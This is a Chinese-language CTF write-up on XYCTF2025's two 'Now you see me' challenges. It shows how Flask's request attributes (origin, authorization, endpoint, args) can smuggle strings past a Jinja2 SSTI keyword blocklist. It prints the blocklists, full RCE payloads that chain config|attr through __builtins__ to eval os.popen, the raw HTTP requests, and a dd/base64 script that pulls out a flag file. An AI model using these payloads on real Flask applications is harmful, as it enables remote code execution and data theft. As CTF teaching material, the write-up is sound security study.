ssti之Request浅析利用
在XYCTF2025中的web方向两道ssti题目中发现禁用了一堆关键字,如何进行有回显和无回显的rce利用呢?
ssti之Request
在XYCTF2025中的web方向两道ssti题目中发现禁用了一堆关键字,咋一看很吓人,但是其实request没有禁用
lock_within = [
"debug", "form", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]那么到底怎么去利用这个request进行ssti利用呢?于是便有了下文
环境

我们新建一个路由,ctrl+鼠标左键点击args或者点击request
然后我们就能进入到Request的类里面,可以查看到里面的方法

实际上就是这两个文件
可以参考官方文档
https://flask.palletsprojects.com/en/latest/api/#flask.Request
https://werkzeug.palletsprojects.com/en/latest/也可以直接利用脚本列举出来
from flask import Flask, request
app = Flask(__name__)
@app.route('/debug', methods=['GET', 'POST'])
def debug():
# 打印所有方法名
print("Request对象方法列表:")
for method in dir(request):
if not method.startswith("__"): # 过滤魔术方法
print(f"- {method}")
return "Check console for method list."
if __name__ == '__main__':
app.run(debug=True)然后就能看到了包含上述的
那么,我们现在探讨的是能能从请求头里面传值的方法
利用这个,{{(request.args)}},就是利用了get方法里面的参数进行传值,从而绕开了特定的waf
因为有些方法或者说是属性含有下划线的即特殊字符,那么我们分为两类
含特殊字符
因为这个含有下划线,但是__class__这些类就会含有下划线,导致大多数的时候不能使用,这里我就只挑几个来测试

其实就是找方法的对应请求头

不含特殊字符
同样我也是只挑几个特别的来讲
endpoint

主要是获取该路由的函数名

args & values
第一个是用在get传参,第二个是用于POST和GET传参
这两个方法的优势在于可以传递多个参数

/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%print(request.args.x1)%}{%23&x1=a如果用成values
看到下面的方法,都是去遍历sources,他会把get的参数优先返回出去。



cookies
这个方法的优势在于可以传递多个参数

json

authorization

那么个人测试了一些比较好用的是
application、args、authorization、cookies、endpoint、environ、json、mimetype、origin、pragma、range、referrer、values回顾赛题
XYCTF-Now you see me 1
waf是
lock_within = [
"debug", "form", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]注意看,这个waf跟环境题目不一样的,但不影响我们做题
构造的链子是
{%print((config|attr('__class__')|attr('__init__')|attr('__builtins__')|attr('__getitem__')('eval'))
("import('os').popen('id').read()"))%}我们就用orgin和authorization就行
最后的payload
GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%print((config|attr(request|attr(request.origin)|attr(request.authorization.type)(0))|attr(request|attr(request.origin)|attr(request.authorization.type)(1))|attr(request|attr(request.origin)|attr(request.authorization.type)(2))|attr(request|attr(request.origin)|attr(request.authorization.type)(3))(request|attr(request.origin)|attr(request.authorization.type)(4)))(request|attr(request.origin)|attr(request.authorization.type)(5)))%} HTTP/1.1
Host: eci-2zealrk72forotuq9nau.cloudeci1.ichunqiu.com:8080
Content-Type: application/json
Origin: json
Authorization: __getitem__
Content-Length: 100
["__class__","__init__","__builtins__","__getitem__","eval","__import__('os').popen('ls /flag_h3r3').read()"]
如果你直接去读服务端的app.py就会发现有一个flag这个应该是非预期解
预期解的话就是怎么去下载这个音频文件

法一、

先新建static目录,然后直接mv就行

然后访问即可成功下载

然后拖入010就看到了
法二、
利用dd命令这来分块写入
import requests
import base64
def get_cmd(skip):
return f"dd if=/flag_h3r3 bs=1 count=50000 skip={skip} 2>/dev/null | base64"
url = "http://eci-2ze9d3w0o6ffuc23smqv.cloudeci1.ichunqiu.com:8080"#加上exp
with open('flag', 'wb') as f:
for skip in range(0, 20236270, 50000):
cmd = get_cmd(skip)
headers = {
#加上请求头
}
#记得加上json的请求体,这里没有加
res = requests.get(url, headers=headers)
base64_data = res.text[18:].replace("\n", "")
decoded_data = base64.b64decode(base64_data)
f.write(decoded_data)
print(f"已写入 {skip + 50000} 字节")
print("文件写入完成!")最后同理,生成的flag直接拖进去010
flag{N0w_y0u_sEEEEEEEEEEEEEEE_m3!!!!!!}XYCTF-Now you see me 2
这里第二题发现过滤的比第一题还多
lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url', '\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/", "self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last",
" ", "dict", "list", "g.",
"os", "subprocess",
"GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referrer",
"authorization", "user", "pragma", "mimetype", "origin"
"Isn't that enough? Isn't that enough."]因此我开始去考虑endpoint的用法
r3al_ins1de_th0ught
因为他给的函数名实在是太特殊了
{%set%09a=((request.endpoint.2)~(request.endpoint.0)~(request.endpoint.16)~(request.endpoint.7))%}这里就把request.args这个类直接给构造出来了
然后就可以利用了
构造链子同上
{%print((config|attr('__class__')|attr('__init__')|attr('__builtins__')|attr('__getitem__')('eval'))
("import('os').popen('id').read()"))%}
GET /H3dden_route?spell=fly-%23}{%set%09a=((request.endpoint.2)~(request.endpoint.0)~(request.endpoint.16)~(request.endpoint.7))%}{%set%09x1=(request|attr(a))%}{%print((config|attr(x1.x2)|attr(x1.x3)|attr(x1.x4)|attr(x1.x5)(x1.x6))(x1.x7))%}{%23&x2=__class__&x3=__init__&x4=__builtins__&x5=__getitem__&x6=eval&x7=__import__('os').popen('mv%20/flag_h3r3%20./static/1').read() HTTP/1.1
Host: gz.imxbt.cn:20287
同样是创建mkdir static文件夹,然后将flag移动到该目录下,访问即可下载

然后是道隐写题目
https://toolgg.com/image-decoder.html在线网站直接解
总结
1、
对于取值的方法其实有很多,不仅仅有下标取值
还可以利用for循环+slice(1)的方法来搭配取值

2、
对于构造的链子不仅仅只有以config开头
还可以用request 、setattr 等去拿 eval 都是没问题的
3、
除了去构造特殊的链子,利用没被删除的方法找到命令执行的点
当然也可以利用沙箱逃逸的知识点,找到importlib的reload。分别reloados.popen和subprocess.Popen
然后继续打RCE